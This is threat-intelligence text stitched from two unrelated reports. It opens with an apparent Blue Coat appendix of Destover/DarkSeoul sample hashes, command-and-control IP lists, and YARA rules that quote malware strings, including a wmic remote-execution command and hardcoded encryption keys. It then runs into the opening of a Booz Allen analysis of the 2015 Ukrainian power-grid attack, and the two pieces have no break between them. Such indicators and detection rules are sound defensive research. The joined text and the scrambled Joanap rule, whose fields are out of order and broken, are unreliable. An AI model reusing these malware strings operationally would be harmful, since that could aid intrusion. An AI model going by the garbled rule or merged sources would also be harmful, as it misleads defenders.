+763d1cb589146dd44e082060053ffbf5040830c79be004f848a9593d6be124ac +02d1d4e7acd9d3ec22588d89aed31c9a9d55547ef74fa3749659b610893f5405 +47181c973a8a69740b710a420ea8f6bf82ce8a613134a8b080b64ce26bb5db93 +e187811826b2c33b8b06bd2392be94a49d068da7f703ae060ee4faffde22c2fe +X64 samples: +2811fdceb8a8aa03bbf59c0b01a43bd1f2aee675a8f20d38194258046987e5fa +39e53ba6984782a06188dc5797571897f336a58b8d36020e380aa6cd8f1c40a2 +530a0f370f6f3b78c853d1e1a6e7105f6a0f814746d8a165c4c694a40c7ad09a +7a2a740d60bd082c1b50ab915ef86cc689ba3a25c35ac12b24e21aa118593959 +eaea45f8bfb3d8ea39833d9dcdb77222365e601264575e66546910efe97cba99 +ee49322ed9fb43a9a743b54cc6f0da22da1d6bc58e87be07fd2efe5e26c3ef8a +ef07d6a3eb4a0047248c845be3da3282c208ede9508a48dbb8128eacc0550edf +477ca3e7353938f75032d04e232eb2c298f06f95328bca1a34fce1d8c9d12023 +5a69bce8196b048f8b98f48c8f4950c8b059c43577e35d4af5f26c624140377c +89b25f9a454240a3f52de9bf6f9a829d2b4af04a7d9e9f4136f920f7e372909b +a01bd92c02c9ef7c4785d8bf61ecff734e990b255bba8e22d4513f35f370fd14 +b93793e3f9e0919641df0759d64d760aa3fdea9c7f6d15c47b13ecd87d48e6a9 +d589043a6f460855445e35154c5a0ff9dbc8ee9e159ae880e38ca00ea2b9a94f +Destover +Randomdomain + samples +X86 samples: +92cc25e9a87765586e05a8246f7edb43df1695d2350ed921df403bdec12ad889 +f2a14c5ef6669d1eb08fababb47a4b13f68ec8847511d4c90cdca507b42a5cf3 +520778a12e34808bd5cf7b3bdf7ce491781654b240d315a3a4d7eff50341fb18 +e55fff05de6f2d5d714d4c0fa90e37ef59a5ec4d90fdf2d24d1cb55e8509b065 +e506987c5936380e7fe0eb1625efe48b431b942f61f5d8cf59655dc6a9afc212 +2477f5e6620461b9146b32a9b49def593755ac9788fc4beeee81bf248aa2e92a +f69747d654acc33299324e1da7d58a0c8a4bd2de464ec817ad201452a9fa4b54 +44884565800eebf41185861133710b4a42a99d80b6a74436bf788c0e210b9f50 +2f629c3c65c286c7f55929e3d0148722c768c730a7d172802afe4496c0abd683 +b5e1740312b734fb70a011b6fe52c5504c526a4cccb55e154177abe21b1441c9 +X64 samples: +0e162a2f07454d65eaed0c69e6c91dd10d29bdb27e0b3b181211057661683812 +a53e33c77ecb6c650ee022a1311e7d642d902d07dd519758f899476dbaae3e49 +c95eaedaafd8041bb0fea414b4ebc0f893f54cdec0f52978be13f7835737de2a +da255866246689572474d13d3408c954b17d4cc969c45d6f45827799e97ed116 +8465138c0638244adc514b2722fcb60b2a26a8756aa7d97f150e9bdc77e337cc +Destover +FormBoundary + sample +77a32726af6205d27999b9a564dd7b020dc0a8f697a81a8f597b971140e28976 +Destover +BasicHwp + samples +HWP dropper document: +794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 +Droppers: +c248da81ba83d9e6947c4bff3921b1830abda35fed3847effe6387deb5b8ddbb +794b5e8e98e3f0c436515d37212621486f23b57a2c945c189594c5bf88821228 +fba0b8bdc1be44d100ac31b864830fcc9d056f1f5ab5486384e09bd088256dd0 +Dropped components: +c3f5e30b10733c2dfab2fd143ca55344345cc25e42fbb27e2c582ba086fe3326 +Destover +Volgmer2 + samples +Droppers: +1ee75106a9113b116c54e7a5954950065b809e0bb4dd0a91dc76f778508c7954 +f71d67659baf0569143874d5d1c5a4d655c7d296b2e86be1b8f931c2335c0cd3 +Dropped components: +96721e13bae587c75618566111675dec2d61f9f5d16e173e69bb42ad7cb2dd8a +APPENDIX: C&C DATA +Joanap-related C&C addresses +110.164.115.177 +118.102.187.188 +118.70.143.38 +119.15.245.179 +122.55.13.34 +168.144.197.98 +189.114.147.186 +196.44.250.231 +201.222.66.25 +60.251.197.122 +62.135.122.53 +62.150.4.42 +62.87.153.243 +63.131.248.197 +63.149.164.98 +64.71.162.61 +66.210.47.247 +69.15.198.186 +72.156.127.210 +75.145.139.249 +78.38.221.4 +80.191.114.136 +81.130.210.66 +81.83.10.138 +83.211.229.42 +92.253.102.217 +92.47.141.99 +93.62.0.22 +94.28.57.110 +96.39.78.157 +Volgmer C&C addresses (dynamic normal, hardcoded bold) +103.16.223.35 +113.28.244.194 +116.48.145.179 +117.239.214.162 +12.217.8.82 +123.176.38.17 +123.176.38.175 +134.121.41.45 +186.116.9.20 +186.149.198.172 +190.210.39.16 +195.28.91.232 +199.15.234.120 +200.42.69.13 +200.42.69.133 +203.131.222.99 +206.123.66.136 +206.163.230.170 +212.33.200.86 +213.207.142.82 +220.128.131.251 +24.242.176.130 +41.21.201.101 +64.3.218.243 +78.93.190.70 +83.231.204.157 +84.232.224.218 +89.122.121.230 +89.190.188.42 +200.87.126.116 +194.224.95.20 +Destover +MessageThread + C&C IP addresses: +101.76.99.183 +112.206.230.54 +124.47.73.194 +165.138.120.35 +175.45.4.158 +177.189.204.214 +187.176.34.40 +202.182.50.211 +203.131.222.102 +208.105.226.235 +209.237.95.19 +211.76.87.252 +213.42.82.243 +31.210.53.11 +59.125.119.135 +59.125.62.35 +61.91.100.211 +62.141.29.175 +65.117.146.5 +71.40.211.3 +85.112.29.106 +91.183.41.5 +93.157.14.154 +Destover +WindowsUpdateTracing + real C&C IP addresses (after XOR translation). Addresses in red are inferred +from pDNS only (no sample). +1.202.129.201 +110.78.165.32 +113.10.158.4 +124.81.92.85 +140.134.23.140 +196.36.64.50 +199.83.230.236 +201.22.95.127 +202.9.100.206 +185.20.218.28 +200.55.243.150 +122.179.175.224 +124.123.219.216 +108.166.93.13 +14.141.129.116 +217.128.80.228 +58.137.122.226 +2.224.202.27 +14.2.240.20 +59.125.75.217 +41.38.151.7 +201.203.27.170 +64.206.243.35 +184.180.159.183 +24.77.32.241 +64.228.222.61 +217.8.95.250 +180.26.59.158 +41.41.29.214 +Destover +RandomDomain + C&C IP addresses: +103.233.121.22 +187.111.14.62 +187.54.39.210 +206.248.59.124 +37.34.176.14 +94.199.145.55 +200.202.169.103 +202.152.17.116 +203.131.210.247 +Destover +Duuzer + C&C IP addresses: +110.77.140.155 +113.160.112.125 +114.143.184.19 +148.238.251.30 +161.139.39.234 +161.246.14.35 +175.111.4.4 +177.0.154.88 +177.19.132.216 +177.52.193.198 +184.173.254.54 +185.20.218.28 +185.30.198.1 +185.81.99.17 +186.167.17.115 +194.165.149.51 +196.202.33.106 +200.87.126.117 +201.163.208.37 +202.39.254.231 +Destover +BasicHwp + C&C IP addresses: +91.183.71.18 +184.20.197.204 +208.87.77.153 +201.216.206.49 +87.101.243.252 +208.69.30.151 +69.54.32.30 +Destover +Volgmer2 + C&C IP addresses: +121.170.194.185 +222.236.46.5 +203.113.122.163 +203.115.13.105 +203.170.66.206 +210.211.124.229 +223.255.129.230 +31.210.54.14 +37.148.208.67 +37.58.148.34 +41.21.201.107 +41.76.46.182 +5.22.140.93 +62.0.79.45 +67.229.173.226 +78.38.114.213 +87.101.243.246 +90.80.152.49 +203.132.205.250 +59.90.208.171 +201.25.189.114 +APPENDIX: YARA RULES +rule Destover : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Used for attacks on Sony Pictures Entertainment and targets in South Korea" +strings: +$a1= "recdiscm32.exe" +$a2= "taskhosts64.exe" +$a3= "taskchg16.exe" +$a4= "rdpshellex32.exe" +$a5 ="mobsynclm64.exe" +$a6 ="comon32.exe" +$a7 ="diskpartmg16.exe" +$a8 ="dpnsvr16.exe" +$a9 ="expandmn32.exe" +$a10="hwrcompsvc64.exe" +$a12="cmd.exe /c wmic.exe /node:\"%s\" /user:\"%s\" /password:\"%s\" PROCESS CALL CREATE \"%s\" > %s" +$a13="#99E2428CCA4309C68AAF8C616EF3306582A64513E55C786A864BC83DAFE0C78585B692047273B0E55275102C66" +$a14="b8ac0905cda0360fc115f614119da76d84e2277762bd7558b2650a79013fb50138f732d5a03730d7d5b17" +$a15="b076e0580463a202bad74cb9c1b85af3fb4d1be513ccca3ae8b57d193be77b4ab63802b3216d3a80b0082" +$a16="bc9b75a31177587245305cd418b8df78652d1c03e9da0cfc910d6d38ee4191d40bd51483321ebe44595f7" +$a17="b50a338264226b6d57c1936d9db140ba74a28930270a083353645a9b518661f4fcea160d73469b8beabc1" +$a18="b59d165982e3d5721c4d40195f85aedf2a12d6616be11a2c19fa11821604edc4675bdca4f9b9cbfb27244" +$a19="e4004c1f94182000103d883a448b3f802ce4b44a83301270002c20d0321cfd0011ccef784c26a400f43df" +$b1 = "---------------End--------------!" +$b2 = "WaitRecv End" wide +condition: +any of ($a*) or all of ($b*) +rule Destover2 : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Used for attacks on Sony Pictures Entertainment and targets in South Korea" +strings: +$a1 = "%sd.e%sc" fullword ascii wide +$a2 = "xe" fullword ascii wide +$a3 = "cm" fullword ascii wide +$b1 = "%smd.e%sc" fullword ascii wide +$c1 = "%sm%se%sc" fullword ascii wide +$d = "ChfTime Success" ascii wide +$e = {FF15????????6A3EFF75??FF15????????5985C0598D85????????50FF75??68????????68????????75} +$f = "%s \"%s > %s 2>&1\"" ascii wide +condition: +all of ($a*) or ($b1 and $a2) or ($c1 and $a2) or $d or $e or $f +rule DarkSeoul_Obf_ChopString : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Obfuscation method used by the DarkSeoul group" +strings: +$a1={8B54240456BE????????57B91400000033C08BFEF3AB803A0074158A023C2E74073C2074038806468A42014284C075EB} +condition: +any of them +rule DarkSeoul_Obf_BCSUB : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Obfuscation method used by the DarkSeoul group" +strings: +$a1="pM[XpSZJ[JC{" +condition: +any of them +rule DarkSeoul_Obf_XORA7 : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Obfuscation method used by the DarkSeoul group" +strings: +$a1={E0C2D3F7D5C8C4E6C3C3D5C2D4D4} +condition: +any of them +rule DarkSeoul_Obf_Caracachs : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Obfuscation method used by the DarkSeoul group" +strings: +$a1={F3EEAEFFFBB821BF9AE3D820FDC0} +condition: +any of them +rule DarkSeoul_Keystrings : Backdoor +meta: +author = "Blue Coat Systems, Inc." +info = "Encryption keys used by the DarkSeoul group" +strings: +$a1 = "Bb102@jH4$t3hg%6&G1s*2J3gCNwVr*UeI!Dr3hytg^CHGf%ion" +$a2 = "BAISEO%$2fas9vQsfvx%$" +$a3 = "A39405WKELsdfirpsdLDPskDORkbLRTP12330@3$223%!" +condition: +any of them +rule Joanap : +meta: +strings: +condition: +author = "Blue Coat Systems, Inc." +info = "SMB worm family used by the DarkSeoul group" +$a1="NTLMSSP" +$a2="MiniDumpWriteDump" +$a3="password <=14" +$a4="KGS!@#$%" +$b1="9025jhdho39ehe2" +$b2="y@s!11yid60u7f!07ou74n001" +$b3= +y0uar3@s!11yid!07,ou74n60u7f001 +all of ($a*) or any of ($b*) +WHEN THE +LIGHTS +WENT OUT +A CO MP REHENSI V E RE V IE W O F T HE 2 015 AT TAC K S +O N U K R A INI A N C RI T I C A L INFR A S T R U C T U RE +CONTENTS +Executive Summary................................................................................................. 1 +Introduction............................................................................................................. 3 +A Regional Campaign.............................................................................................. 5 +Attack Walk Through...............................................................................................11 +Top 10 Takeaways: What to Consider When Protecting Your OT Environment..... 23 +Conclusion ............................................................................................................. 25 +Appendix A: Detailed Textual Description of Attack Walk Through...................... 29 +Appendix B: Malware Samples............................................................................... 38 +Appendix C: BlackEnergy Plugins........................................................................... 59 +Appendix D: Alternate Remote Access Trojans...................................................... 61 +Appendix E: Sources............................................................................................... 63 +EXECUTIVE +SUMMARY +On December 23, 2015, unknown cyber actors +disrupted energy-grid operations for the first +time ever, a causing blackouts for over 225,000 +customers in Ukraine.1 Among the most striking +features of this attack were the complexity of +organization and planning, the discipline in +execution, and capability in many of the discrete +tasks exhibited by the threat actors. Over the +course of nearly a year prior to the attack, these +unknown actors clandestinely established +persistent access to multiple industrial networks, +identified targets, and ultimately carried out a +complex set of actions, which not only disrupted +electricity distribution in Ukraine, but also +destroyed IT systems, flooded call centers, sowed +confusion, and inhibited incident response. The +attackers used a malware tool, BlackEnergy 3, +designed to enable unauthorized network access, +then used valid user credentials to move laterally +across internal systems, and ultimately shut +down electricity distribution using the utilities +native control systems. +This report details the step-by-step process the +actors took and seeks to highlight the opportunities for detection and prevention across the +various steps of the attack. Combining opensource intelligence analysis of the attack and +malware analysis of the tools used by the threat +actors in their operation, we break down the +integration of both human interaction and +malware-executed processes as components of +the December 2015 events. +This Booz Allen report expands on previous +incident analysis published in spring 2016, going +beyond by including additional detail about the +attack chain based on malware execution, a more +detailed mapping of targeted and affected +infrastructure, and a much wider view on +similar and potentially related Black Energy (BE) +campaigns against Ukrainian infrastructure. +This report provides a highly accessible and +factual account of the incident. By providing this +comprehensive view of the events, this report +provides operators, plant managers, chief +information security officers, and key industrial +security decision makers a view of how an attack +could be conducted against their networks and +infrastructure, and +more importantly +some +advice on how to mitigate attacks such as these +in the future. +This attack was exceptionally well organized and +executed, but the tools necessary to mitigate and +minimize the impact of an attack such as this are +not difficult to implement. By implementing a +well-designed defense-in-depth protection +strategy, industrial network and ICS/SCADA +defenders can effectively address the threats +facing their organizations. This report highlights +the important components this strategy ought +to include, based on the methods used in the +Ukraine attack. +Despite early reporting indicating that disruptions in Brazil +s electrical grid in 2007 were the result of a cyberattack, further +investigation ultimately attributed the blackouts to inadequate maintenance. +www.boozallen.com/ICS +INTRODUCTION +Shortly before sunset on December 23, 2015, +hackers remotely logged into workstations at a +power distribution company in western Ukraine, +clicked through commands in the operators control +system interface, and opened breakers across the +electrical grid one by one. Before they were finished, +they struck two more energy distribution companies, in rapid succession, plunging thousands of +businesses and households into the cold and +growing darkness for the next six hours.2 These +attacks were not isolated incidents, but the +culmination of a yearlong campaign against a wide +range of Ukrainian critical infrastructure operations. +In addition to three energy distribution companies, +Prykarpattyaoblenergo,3 Kyivoblenergo, 4 and +Chernivtsioblenergo,5 threat actors had also +previously targeted several other critical infrastructure sectors, including government, broadcast +media, railway, and mining operators. +The attacks in Ukraine were a watershed moment +for cybersecurity; for the first time, malicious +cyber threat actors had successfully and publicly +disrupted energy-grid operations, causing +blackouts across multiple cities. The power +outage was also one of the few known cyberattacks against a supervisory control and data +acquisition (SCADA) system, a type of system +critical to automation in many sectors, including +transportation, manufacturing, heavy industry, +and oil and gas. +This report details the actions threat actors took in +each step of the attack, including an analysis of +associated malware and other identified indicators +of compromise (IoC). This report also includes, as +an appendix, detailed technical analysis of the +associated malware +s function and use. By tracing +this attack from early exploration and target +identification to turning the lights out on Ukrainian +cities, this report serves as an aid to the security +professionals charged with securing industrial +control systems (ICS) and is equally relevant across +a range of other critical infrastructure sectors. +By understanding the current tactics, techniques, +and procedures (TTP) that the threat actors used +in this attack, and those that are most likely to be +used against ICS systems in the future, security +professionals can use this case study to plan for +future threats against their own systems. Though +this attack targeted operators in the electricity +distribution sector, the TTPs illustrated in this +attack are applicable to nearly all ICS sectors +including oil and gas, manufacturing, and +transportation. A reconnaissance campaign +against US ICS operators in 2011 +2014 using the +same malware family deployed across Ukraine +critical infrastructure raises the urgency of +understanding this disruptive Ukrainian attack. +ADDRESSING THE THREAT +In a series of unique, discrete steps, the threat +actors deployed malware; gained access to targeted +corporate networks; stole valid credentials; moved +into the operators + control environment; identified +specific targets; and remotely disrupted the power +supply. Each task was a missed opportunity for +defenders to block, frustrate, or discover the +attackers + operations before they reached their +final objectives. +INDUSTRIAL SECURITY +THREAT BRIEFING +This attack on Ukraine +s electric grid +is the most damaging of the increasingly common attacks against ICS +systems. ICS operators reported +more security incidents in 2015 than +in any other year. Complementing +the detailed, procedural analysis +provided in this report, Booz Allen +Industrial Security Threat Briefing +provides a broader perspective +on the cyber threat landscape +ICS operators face. The Industrial +Security Threat Briefing includes +an overview of the emerging tactics +and active threat actors observed +in 2015 and 2016, as well as the +threats most likely to affect ICS +operators in the coming years. +The report is available at +http://www.boozallen.com/ +insights/2016/06/industrialcybersecurity-threat-briefing. +The Ukraine incident also demonstrates that no +single mitigation can prevent an attack +s success. +The attackers followed multiple avenues to +eventually overcome challenges and move onto +the attack sequence +s next components. The most +effective strategy for repelling complex attacks, +therefore, is defense in depth. Layering defenses +can raise the adversary +s cost of conducting +attacks, increase the likelihood of detection by a +network defender, and prevent a single point of +failure. All mitigation techniques, from +www.boozallen.com/ICS +Acknowledgments +Several in-depth reports have been +released, each covering a different +facet of the December 2015 attacks +in Ukraine. The SANS Institute, in +partnership with the Electricity +Information Sharing and Analysis +Center (E-ISAC),6 as well as the US +Department of Homeland Security +National Cybersecurity and Communications Integration Center (NCCIC)7, +have both produced detailed reports +covering the incident. Security +researchers at F-Secure8 and ESET9 +have conducted extensive analysis of +the BlackEnergy malware, and +reporting produced by Cys-Centrum10 +and Trend Micro11 have sought to lay +out the common ties across the string +of similar, and likely related, cyber +attacks against Ukrainian critical +infrastructure. Each of these accounts +provides a different piece of the larger +picture, which this report lays out. +Booz Allen Hamilton +architectural segmentation and network monitoring, to access control and threat intelligence, +should be complementary efforts in a widereaching process and network defense strategy +that aims to protect the environment, making it +so difficult, expensive, or time consuming that it +ultimately deters the attacker. +OUR RESEARCH METHODOLOGY +Though the attacks against Ukraine +s electrical +grid in December 2015 have been discussed widely +in public reporting, this report seeks to build upon +the analysis to provide a more comprehensive +account. By analyzing the malware tools used in +the attack and using open-source intelligence +gathering, this report seeks to tie together the +wide body of existing information on this event +and fill the gaps in other reports. +This report leverages an extensive analysis of publicly +reported data on the attack, as well as our own +deep-dive technical analysis of recovered malware +samples used in the attack. Public reporting on the +incident and related attack data was collected +manually or through automated searches on publicly +accessible internet sites. The sources included, but +were not limited to, English and foreign language +media, advisories and alerts from US and foreign +government cybersecurity organizations, and +analysis by independent security researchers. +References to IoCs and other attack data were used +to identify related incidents, then analyze and +integrate their findings with this attack. +Analysis of public reporting was complemented +with a thorough technical analysis of recovered +malware samples used in the December 2015 +attacks against the electrical distributors, as well +as samples from related attacks. Our technical +analysis was used to verify, corroborate, and expand +on existing reports detailing threat actor activity +leading up to and during the incident. Experienced +reverse engineers used disassembler and debugger +software to navigate through the malware code to +identify its capabilities and unique characteristics. +Reverse engineers used both static and dynamic +analysis, allowing them to see how the malware +behaves on a system with the freedom to run in +a debugger in order to force or bypass certain +conditions, thereby allowing the malware to take +multiple paths. By recording system changes made +by the malware, the reverse engineers were able to +gather key data needed to identify further system +infections, as well as potential mitigations. This +investigation also emphasized analyzing the +recovered samples within the context of their +broader malware family. Using YARA, a tool to +identify binary or textual signatures within malware, +analysts pivoted to new samples in an effort to +identify new capabilities and different variants of +the malware. This comprehensive report completes +the view of the attack sequence for this incident. +A REGIONAL +C A MPA IGN +Our research and analysis of the December 2015 +blackout showed that the attack against Ukraine +electricity grid was not an isolated incident, but in +fact a continuation of a theme of a steady, +deliberate attacks against Ukraine +s critical +infrastructure. This long-running campaign likely +reflects a significant, concerted effort by a single +threat actor with a well-organized capability and +interest in using cyberattacks to undermine +Ukraine +s socio-political fabric. Each of the attacks +used a common set of TTPs that had been used in +earlier incidents in the previous months, detailed +in Exhibit 1. To put the December 2015 attack in +context, our research uncovered an additional 10 +related attacks, the last of which occurred in +January 2016. Exhibit 1 shows the timing, techniques and target sectors in this 18-month +campaign. +www.boozallen.com/ICS +EXHIBIT 1. CYBER THREAT LANDSCAPE IN UKRAINE +2016 +2015 +June +July +August +September +October +November +December +January +February +March +April +June +July +August +September +October +November +December +January +February +March +2014 +Electricity +Sector +Railway +Sector +10 11 +Television +Sector +Mining +Sector +Regional +Government/ +Public +Archives +Attack Tools +Phishing +MS Office +Malicious VBA +Other Weaponization +BlackEnergy +Other RAT +KillDisk +Gained Access +Booz Allen Hamilton +Data Destruction +Physical Impact +Undisclosed +May 2014 (Electricity) On May 12, 2014, threat +actors targeted Ukrainian electricity distributor +Prykarpattyaoblenergo in a phishing campaign using +weaponized Microsoft (MS) Word documents.12 +The threat actors forged the sender addresses and +modified the weaponized MS Word attachments +with a malicious PE-executable file inserted into the +icon image associated with file.13 +May 2014 (Railway) On May 12, 2014, threat actors +targeted all six of Ukraine +s state railway transportation system operators in a phishing campaign using +weaponized MS Word documents.14 The threat +actors forged the sender addresses and modified +the weaponized MS Word attachments with a +malicious PE-executable file inserted into the icon +image associated with file.15 +August 2014 (Ukrainian Regional Government, +Archives) In August 2014, threat actors began a +wide-reaching phishing campaign using weaponized +MS Power Point files. The weaponized files exploited +a zero-day vulnerability (CVE-2014-4114) to deliver +BlackEnergy Malware to targeted systems.16,17 +Targets included five Ukrainian regional governments, and the state archive of Chernivtsi Oblast, +one of the three oblasts targeted in the December +2015 Electricity distributor attacks.18,19 +March 2015 (Media) In early March 2015, threat +actors conducted a phishing campaign against +Ukrainian television broadcasters, using weaponized +MS Excel and MS PowerPoint documents +1.xls and +2.pps).20 The weaponized documents contained malicious Visual Basic +Application (VBA) and JAR files designed to drop +BlackEnergy malware on targeted systems.21 +March 2015 (Electricity) In late March 2015, threat +actors conducted a phishing campaign targeting +electricity operators in western Ukraine using the +weaponized MS Excel file ( +1.xls) used earlier +that month against broadcast media targets. As with +the earlier attack, the file included a malicious macro +designed to install BlackEnergy.22 +March 2015 (State Archives) Also in late March +2015, threat actors targeted Ukrainian state archives +in phishing attacks using the same weaponized MS +Excel file ( +1.xls), malicious macro, and +BlackEnergy malware.23 +October 2015 (Television Broadcast) On October 24 +and October 25, 2015, Ukrainian election day, threat +actors used KillDisk malware to destroy video data +and server hardware, and render employee +workstations inoperable at multiple Ukrainian +television broadcasters.24,25 Targeted systems were +found to be infected with the same BlackEnergy and +KillDisk samples observed in attacks against a railway +operator, mining company, and electricity distributors +in November and December 2015. Investigation of +the incident indicated access to the network was +established May 2015.26 +8. November +December (Railway) In November +December 2015, an undisclosed Ukrainian Railway +firm, operating under the Ukrainian State +Administration of Railway Transport, was targeted in +a cyberattack using BlackEnergy and KillDisk +malware.27 The method for establishing initial access +to targeted networks was not disclosed. +9. November +December 2015 (Mining) In +November +December 2015, an undisclosed +Ukrainian Mining firm was targeted in a cyberattack +using BlackEnergy and KillDisk malware.28 The +method for establishing initial access to targeted +networks was not disclosed. +10. December 2015 (Electricity) On December 23, 2015, +threat actors opened breakers and disrupted +electricity distribution at three Ukrainian firms: +Prykarpattyaoblenergo, Kyivoblenergo, and +Chernivtsioblenergo. Full details of this attack are +included in the Attack Walk Through section of +this report. +11. January 2016 (Electricity) On January 19 and 20, +2016, threat actors targeted approximately 100 +organizations, including many Ukrainian energy +firms,29 in a phishing campaign.30 The malicious +emails were designed to look as though they were +sent by Ukrainian energy distributor NEC Ukrenergo.31 +The emails included a weaponized MS Excel +document, which prompted users to enable macros; +once enabled, a malicious VBA script installed GCat, +an open-source, python-based trojan which disguises +communications with the command-and-control +(CC) server as Gmail email traffic.32 +BLACKENERGY MALWARE +BlackEnergy is a remote-access trojan +designed to provide unauthorized +access to targeted networks via an +HTTP connection with an external +server. Its modular design allows it +to accept additional plugins to carry +out specific functions, such as +stealing credentials or conducting +network reconnaissance. +www.boozallen.com/ICS +ATTRIBUTION +Though the Security Service of Ukraine (SBU) +immediately implicated Russia in the attack,33 +there is no smoking gun which irrefutably +connects the December 2015 attacks in Ukraine to +a specific threat actor. The limited technical +attribution data, such as the attackers using a +Russia-based Internet provider and launching the +telephony denial-of-service (TDoS) flood traffic +from inside Russia,34 point to Russian threat +actors, though this evidence is not conclusive unto +itself. Some inferences can be made based on the +history of the tools used, how the attack was +carried out, and the outcomes that were achieved. +Cybercriminal organizations and state-backed +groups are often the most wellresourced, organized, and technically advanced +cyber threat actors. BlackEnergy first emerged as a +DDoS tool in 200735 and has a history of use by +criminal organizations. The most notable criminal +operation was a series of attacks in 2011 against +Russian and Ukrainian banks, in which criminals +used BlackEnergy 2 to steal online credentials and +obfuscate the attacks with distributed denial-of-service (DDoS) floods.36 +Despite these criminal roots, BlackEnergy often +rears its head in attacks with particular political +significance, typically targeting organizations and +countries with adversarial relations with Russia. In +2008, during Russia +s conflict with Georgia, +Georgian networks were bombarded with a DDoS +attack by a botnet constructed with the first +iteration of BlackEnergy, and controlled by CC +Booz Allen Hamilton +servers hosted on Russian state-owned companies.37,38 BlackEnergy was also used in June 2014, +targeting a French telecommunications firm, by a +group known to conduct cyberattacks against +NATO, Western European governments, and +several regional Ukrainian governments.39,40,b In +addition, the KillDisk malware, used in conjunction +with BlackEnergy, was first observed in a data +destruction attack against servers operated by +several Ukrainian news outlets on October 24 +2015, Ukraine +s election day. 41 +As security researchers have pointed out, the +overlap in usage of the malware by multiple +groups, including criminal organizations, would be +convenient for a state-backed group as this +provides a degree of plausible deniability. 42 As +noted above though, the targets selected in +previous campaigns using BlackEnergy often align +to Russian political interests. Furthermore, the +activity associated with the December 2015 attack +does not appear to align to a criminal organization +s likely goal of financial gain. Threat actors +invested significant resources in establishing, +maintaining, and expanding persistent access on +targeted networks for nearly a year. They +conducted extensive network reconnaissance, +likely developed malicious firmware, familiarized +themselves with the native control environment, +and then ultimately revealed their presence in a +destructive attack. The extensive resources +invested, and no apparent financial return, indicate +the attackers + likely objective was to use the attack +to send a message. +Reporting did not specify whether if used BlackEnergy malware was used in the attacks against NATO or other European government targets. +INTENT +Several plausible theories that have been +proposed may explain the threat actor +s motivations for conducting the attacks, as well as its +timing, target, and impact. It is possible that the +adversary was motivated by several of the posited +theories, though the attack was probably designed +to send a message to the Ukrainian government, +rather than gain a lasting benefit. +CONVEY DISPLEASURE WITH +PLANS TO NATIONALIZE +RUSSIAN-OWNED ASSETS +One theory that has circulated in cybersecurity +circles is that the attackers may have intended to +convey displeasure with a Ukrainian proposal43,44 +to nationalize assets owned by Russia and its +citizens. 45 The policy would have harmed +influential Russian oligarchs with investments in +Ukraine +s energy sector. For example, Alexander +Babakov +a senior member of Russia +s national +legislature and a current target of EU sanctions46 +is a main shareholder in VS Energy. It is +one of the largest electricity distributors in the +Ukrainian market, with ownership stakes in nine +of the 27 oblenergos and a 19-percent electricitydistribution market share, as of 2010. 47 +Based on available evidence, however, we find the +theory unconvincing. The timing of the attack and +the particular target made it an unlikely symbolic +target for expressing a position on nationalization. +Discussions about nationalizing Russian assets +had not been a headline issue since the spring of +2015, more than six months before the disruption; +the lack of temporal proximity between the two +events blurred or watered down the symbolic +value of the attack vis- +-vis nationalization. +POLITICAL DESTABILIZATION; CULTIVATE +GENERAL FEAR AND DISCONTENT +Another possible objective was to destabilize +Ukraine politically. As indicated above, a wide +swath of Ukrainian organizations were caught in +the attacker +s larger collection of networks +compromised with BlackEnergy, including targets +in the railway, mining, broadcast media and +government sectors. 48 This trend indicates the +objective may have been to disrupt a critical +service provider or critical industry, rather than an +energy company specifically. By disrupting +operations in critical infrastructure, the threat +actors may have sought to reduce confidence in +the Ukrainian government. This strategy would be +consistent with Russia +s information warfare +doctrine, which seeks to sow discontent in a target +country or region in order to induce political and +economic collapse. 49 +boozallen.com/ics +IN-KIND RETALIATION +Another possible objective may have been in-kind +retaliation for perceived Ukrainian disruptions of +electricity to Crimea. On November 21 +22, 2015, +Crimea lost power for more than six hours due to +physical attacks on four pylons carrying transmission wires.50 The identity of the saboteurs has not +been publicly determined, but they are rumored to +be Ukrainian nationalists.51 Crimea is reliant on +Ukraine, as the country supplies about 70 percent +of Crimea +s power.52 Russia intends to obviate this +risky reliance by constructing a new energy bridge +between Crimea and Russia, which will be able to +supply 70 +80 percent of Crimea +s power needs.53 +If this was the objective in the attack, it would +indicate that Russia may actively seek to gain +footholds in critical services providers with the +intention to execute attacks at strategically useful +times. This would be consistent with similar +attacks against critical infrastructure in other +adversarial nations in Western Europe54 and the +US55 that have been attributed to Russia. +Booz Allen Hamilton +OUTLOOK +While politically motivated cyberattacks are not a +novel foreign policy tool, the industries and +organizations that serve as potential targets are +expanding. Cyberattacks present a powerful +political tool, particularly those against critical +infrastructure providers. Industrial control +systems operators are not above the fray in +geopolitical rows, and may in fact be the new +primary target. +AT TA C K WA L K +THROUGH +The attack walk through provided in this report is +informed by analytical frameworks published by +cybersecurity industry organizations,56,57 as well +as proprietary methods for conducting opensource intelligence analysis and technical +malware analysis. To provide as complete a +picture as possible for this report, as with other +reporting on this incident, some inferences on +the threat actors + most likely method were +required, as there does not exist a complete +accounting of all actions the threat actors took in +their campaign. Wherever possible, inferences +were based on confirmed technical evidence, +such as identified malware capabilities and +known hardware and software vulnerabilities. +This section provides the step-by-step walk +through of threat actor activity during the attack. +Each step includes a high-level description, as well +as a feature summary of the step with eight +descriptors. The eight descriptors are as follows: +Location: This describes the network on which the +activity occurred, including preparatory activity +conducted outside of the targeted networks (listed +external infrastructure +), as well as the logically +or physically separated +corporate network + or +network + operated by the electricity distributors. +Action: The December 2015 attacks were achieved +using a combination of direct threat actor manipulation of systems deployed by the electricity +distributors, as well as malware-executed tasks. +Active threat actor activity + highlights tasks that +involved hands-on-keyboard interactions with +systems deployed on the electricity distributor +network. +Malware execution + highlights tasks +completed by functions built into the malware tools +used by threat actors.c +Timeline: This section provides the timeframe in +which the step most likely occurred. This includes +specific, known dates, as well as ranges of time +defined by known threat actor activities. +Device/application: This section lists the device or +application targeted or exploited by threat actors in +the step. Wherever possible, specific model +information is provided; in instances in which the +model or application details were not found in open +sources, analysts made assessments based on +available evidence, such as operating system (OS) +or application-specific services targeted by the +reported malware. For the steps detailing preparatory tasks conducted external to the electricity +distributors + networks, +activity conducted external +to network + is listed rather than the targeted device +or application. +Role in infrastructure: This section details the +function of the targeted device or application +within the electricity distributors + network. +Activity conducted external to network +listed for preparatory activities conducted on +external infrastructure. 